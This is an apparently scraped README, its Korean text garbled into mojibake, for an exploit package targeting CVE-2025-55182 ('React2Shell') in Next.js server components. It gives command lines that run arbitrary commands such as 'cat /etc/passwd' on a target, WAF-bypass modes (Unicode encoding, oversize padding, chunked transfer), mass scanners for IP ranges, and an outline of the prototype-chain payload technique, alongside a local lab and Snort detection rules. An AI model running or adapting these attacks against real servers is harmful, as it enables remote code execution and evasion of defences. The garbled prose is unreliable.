Share
## https://sploitus.com/exploit?id=658EF8D0-E065-55B6-B956-B180D4DF6B4E
# CVE-2025-55182 (React2Shell) ํต์ฌ ํจํค์ง
## ๐ฆ ํฌํจ ํ์ผ
### 1. ์ทจ์ฝํ Docker ์ด๋ฏธ์ง
- **docker-compose.yml** - ์ทจ์ฝํ Next.js ์ฑ ์คํ ํ๊ฒฝ
```bash
docker-compose up -d
# http://localhost:3000 ์์ ์คํ๋จ
```
### 2. ๊ณต๊ฒฉ ๋๊ตฌ (POC)
- **exploit_advanced.py** - ๊ณ ๊ธ ์ต์คํ๋ก์ (ejpir ๊ธฐ๋ฒ, WAF ์ฐํ)
```bash
# ๊ธฐ๋ณธ ๊ณต๊ฒฉ
python3 exploit_advanced.py -u http://target.com -c "whoami" --basic
# ๊ณ ๊ธ ๊ณต๊ฒฉ (์๊ธฐ ์ฐธ์กฐ thenable + fake _response)
python3 exploit_advanced.py -u http://target.com -c "id" --advanced
# WAF ์ฐํ (Unicode ์ธ์ฝ๋ฉ)
python3 exploit_advanced.py -u http://target.com -c "cat /etc/passwd" --advanced --waf-bypass
# ์ค๋ฒ์ฌ์ด์ฆ ๊ณต๊ฒฉ (AWS WAF ํฌ๊ธฐ ์ ํ ์ฐํ)
python3 exploit_advanced.py -u http://target.com -c "whoami" --oversize 65536
# ์ฒญํฌ ์ ์ก (๋ถ์ฐ ํจํด ๋ฐฐ์น๋ก WAF ์ฐํ)
python3 exploit_advanced.py -u http://target.com -c "whoami" --chunked
# ๋ชจ๋ ๋ฐฉ๋ฒ ์๋
python3 exploit_advanced.py -u http://target.com -c "id" --all -v
```
### 3. ์ง๋จ ๋๊ตฌ
- **rsc_vulnerability_checker.py** - ๋จ์ผ ํ๊ฒ ์ง๋จ ๋๊ตฌ
```bash
python3 rsc_vulnerability_checker.py http://localhost:3000
```
- **rsc_vulnerability_checker_multi.py** - ๋ฉํฐ ํ๊ฒ ์ง๋จ ๋๊ตฌ
```bash
# ์ฌ๋ฌ URL ์ค์บ
python3 rsc_vulnerability_checker_multi.py http://site1.com http://site2.com
# ํ์ผ์์ URL ์ฝ๊ธฐ
python3 rsc_vulnerability_checker_multi.py -f targets.txt -o result.csv
# IP ๋ฒ์ ์ค์บ
python3 rsc_vulnerability_checker_multi.py -r 192.168.1.1-254 -p 3000 --threads 20
```
### 4. Snort ํ์ง ๋ฃฐ
- **rules_priority_based** - ์ฐ์ ์์ ๊ธฐ๋ฐ Snort ๋ฃฐ์
- P0 (SID 2000xxx): ํ์ ์
์ฑ ํจํด - ์ฆ์ ์ฐจ๋จ
- P1 (SID 2001xx): ์
์ฑ ๊ฐ๋ฅ์ฑ ๋์ - ๊ด์ ๊ฒํ ํ์
- P2 (SID 2002xx): ์์ฌ ๋จ๊ณ - ํ๊ฒฝ ์์กด์
```bash
snort -c snort.conf -r attack.pcap -A console
```
## ๐ ๋น ๋ฅธ ์์ ๊ฐ์ด๋
### 1๋จ๊ณ: ์ทจ์ฝํ ํ๊ฒฝ ๊ตฌ์ถ
```bash
docker-compose up -d
# http://localhost:3000 ์ ์ ํ์ธ
```
### 2๋จ๊ณ: ์ง๋จ ์คํ
```bash
# ๋จ์ผ ์ง๋จ
python3 rsc_vulnerability_checker.py http://localhost:3000
# ๋ฉํฐ ์ง๋จ
python3 rsc_vulnerability_checker_multi.py http://localhost:3000
```
### 3๋จ๊ณ: ๊ณต๊ฒฉ ํ
์คํธ
```bash
# ๊ธฐ๋ณธ ๊ณต๊ฒฉ
python3 exploit_advanced.py -u http://localhost:3000 -c "whoami" --basic
# ๊ณ ๊ธ ๊ณต๊ฒฉ (๋ชจ๋ ๋ฐฉ๋ฒ ์๋)
python3 exploit_advanced.py -u http://localhost:3000 -c "id" --all -v
# ์ฒญํฌ ์ ์ก ๊ณต๊ฒฉ (WAF ์ฐํ)
python3 exploit_advanced.py -u http://localhost:3000 -c "uname -a" --chunked -v
```
### 4๋จ๊ณ: ๋คํธ์ํฌ ํธ๋ํฝ ์บก์ฒ ๋ฐ ๋ถ์
```bash
# tcpdump๋ก ์บก์ฒ
sudo tcpdump -i lo0 -w attack.pcap port 3000
# Snort๋ก ๋ถ์
snort -c snort.conf -r attack.pcap -A console -k none
```
## ๐ ๊ณต๊ฒฉ ๊ธฐ๋ฒ ๋น๊ต
| ๊ณต๊ฒฉ ๋ฐฉ์ | WAF ์ฐํ | ๋์ด๋ | ํ์ง ํํผ | ์ฉ๋ |
|----------|----------|--------|----------|------|
| Basic | โ | โญ | ๋ฎ์ | ๊ต์ก, ๊ธฐ๋ณธ ํ
์คํธ |
| Advanced (thenable) | โ
(Unicode) | โญโญโญ | ๋์ | ์ค์ , WAF ํ๊ฒฝ |
| Chunked | โ
(๋ถ์ฐ) | โญโญ | ๋งค์ฐ ๋์ | ํจํด ๋งค์นญ ์ฐํ |
| Oversize | โ
(ํฌ๊ธฐ) | โญโญ | ๋์ | AWS WAF ์ฐํ |
## ๐ฏ ๊ณ ๊ธ ๊ธฐ๋ฒ ์ค๋ช
### exploit_advanced.py ์ฃผ์ ๊ธฐ๋ฒ
- **์๊ธฐ ์ฐธ์กฐ thenable**: `then: "$1:__proto__:then"` - Chunk.prototype.then ํธ๋ฆฌ๊ฑฐ
- **fake _response ์ฃผ์
**: ๊ณต๊ฒฉ์ ์ ์ด ์์ญ ํ๋
- **$B ํธ๋ค๋ฌ ์ฒด์ธ**: response._formData.get(response._prefix + id) ์
์ฉ
- **ํ๋กํ ํ์
์ฒด์ธ ์ํ**: `$1:constructor:constructor` โ Function ์ ๊ทผ
- **WAF ์ฐํ ๊ธฐ๋ฒ**:
- **Unicode ์ธ์ฝ๋ฉ**: `constructor` โ `\u0063onstructor`
- **Oversize ํ์ด๋ก๋**: 8-64KB ํจ๋ฉ์ผ๋ก AWS WAF ๊ฒ์ฌ ์์ญ ์ฐํ
- **Chunked Transfer**: ํ์ด๋ก๋๋ฅผ ์์ ์ฒญํฌ๋ก ๋ถํ ํ์ฌ ํจํด ๋งค์นญ ํํผ
## ๐ ๋น ๋ฅธ ์์ ๊ฐ์ด๋
### 3๋จ๊ณ: ์ง๋จ ๋๊ตฌ ์คํ
```bash
python3 rsc_vulnerability_checker.py http://localhost:3000
```
### 4๋จ๊ณ: Snort ํ์ง ํ
์คํธ
```bash
# PCAP ์บก์ฒ
sudo tcpdump -i lo0 -w attack.pcap 'port 3000' &
python3 exploit.py -c "whoami"
sudo pkill tcpdump
# Snort ๋ถ์
snort -r attack.pcap -c snort.conf -A console
```
## ๐ ํ์ ์๊ตฌ์ฌํญ
- Docker & Docker Compose
- Python 3.8+
- requests ๋ผ์ด๋ธ๋ฌ๋ฆฌ (`pip install requests`)
- Snort 2.9+ (ํ์ง ๋ฃฐ ํ
์คํธ์ฉ, ์ ํ์ฌํญ)